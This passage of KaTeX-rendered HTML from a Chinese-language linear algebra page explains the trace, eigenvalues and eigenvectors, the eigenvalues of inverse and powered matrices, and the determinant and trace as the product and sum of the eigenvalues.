mtight">1</span><span class="mrel mtight">≤</span><span class="mord mathnormal mtight">i</span><span class="mrel mtight">&lt;</span><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">≤</span><span class="mord mathnormal mtight">n</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∏</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h1 id="迹-trace"><a class="markdownIt-Anchor" href="#迹-trace"></a> 迹 Trace</h1><p>迹是矩阵对角线元素的和，记为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi><mi>r</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> tr(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>。</p><p>迹同时也是特征值之和，因此迹的几何意义可以看作矩阵对空间的平均拉伸，尽管没有平均掉（没有除以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>i</mi><mi>m</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">dim(A)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">im</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>）。</p><h1 id="特征向量与特征值-eigenvectors-and-eigenvalues"><a class="markdownIt-Anchor" href="#特征向量与特征值-eigenvectors-and-eigenvalues"></a> 特征向量与特征值 Eigenvectors and Eigenvalues</h1><p>设有矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，如果存在向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 和标量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>λ</mi><mi>x</mi></mrow><annotation encoding="application/x-tex"> A x = \lambda x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span></span></span></span>，则称 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 为矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的特征向量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span> 为对应的特征值。</p><p>因此有 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mi>x</mi><mo>−</mo><mi>λ</mi><mi>x</mi><mo>=</mo><mn>0</mn><mo>⇒</mo><mo stretchy="false">(</mo><mi>A</mi><mo>−</mo><mi>λ</mi><mi>I</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> A x - \lambda x = 0  \Rightarrow (A - \lambda I)x = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p></p><p>要使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>A</mi><mo>−</mo><mi>λ</mi><mi>I</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> (A - \lambda I)x = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 有非零解，必须使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>−</mo><mi>λ</mi><mi>I</mi></mrow><annotation encoding="application/x-tex"> A - \lambda I </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span> 为奇异矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo>−</mo><mi>λ</mi><mi>I</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A - \lambda I) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><h2 id="求特征值-finding-eigenvalues"><a class="markdownIt-Anchor" href="#求特征值-finding-eigenvalues"></a> 求特征值 Finding Eigenvalues</h2><p>要找到矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的特征值，需要解特征多项式 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo>−</mo><mi>λ</mi><mi>I</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> det(A - \lambda I) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。 该多项式的根即为矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的特征值。可能是重根。</p><h2 id="求特征向量-finding-eigenvectors"><a class="markdownIt-Anchor" href="#求特征向量-finding-eigenvectors"></a> 求特征向量 Finding Eigenvectors</h2><p>对于每个特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span>，将其代入方程 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>A</mi><mo>−</mo><mi>λ</mi><mi>I</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> (A - \lambda I)x = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，通过求解该齐次线性方程组，可以找到对应的特征向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>。特征向量不一定唯一，当特征值是重根时，可能有多个线性无关的特征向量。</p><hr /><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo>=</mo><msup><mi>λ</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi></mrow><annotation encoding="application/x-tex"> A^{-1} x = \lambda^{-1} x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>，因此，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的特征值的倒数是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> A^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span> 的特征值，特征向量相同。</p><p>证明如下：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>λ</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">A x = \lambda x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">(</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>λ</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">(A^{-1} A) x = A^{-1} \lambda x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">λ</span><span class="mord mathnormal">x</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>I</mi><mi>x</mi><mo>=</mo><mi>λ</mi><mo stretchy="false">(</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Ix = \lambda (A^{-1} x) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi><mo>=</mo><msup><mi>λ</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>x</mi></mrow><annotation encoding="application/x-tex">A^{-1} x = \lambda^{-1} x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8641em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span></span></p><hr /><p>矩阵的幂次的特征值是对应特征值的幂次：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">(</mo><msup><mi>A</mi><mi>k</mi></msup><mo stretchy="false">)</mo><mi>x</mi><mo>=</mo><msup><mi>λ</mi><mi>k</mi></msup><mi>x</mi></mrow><annotation encoding="application/x-tex">(A^k) x = \lambda^k x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span></span></p><hr /><p>此外，矩阵的行列式等于其特征值的乘积：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>d</mi><mi>e</mi><mi>t</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>λ</mi><mn>1</mn></msub><mo>⋅</mo><msub><mi>λ</mi><mn>2</mn></msub><mo>⋅</mo><mo>…</mo><mo>⋅</mo><msub><mi>λ</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">det(A) = \lambda_1 \cdot \lambda_2 \cdot \ldots \cdot \lambda_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">e</span><span class="mord mathnormal">t</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4445em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><hr /><p>矩阵的迹等于其特征值的和：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>t</mi><mi>r</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mi>λ</mi><mn>1</mn></msub><mo>+</mo><msub><mi>λ</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>λ</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">tr(A) = \lambda_1 + \lambda_2 + \ldots + \lambda_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 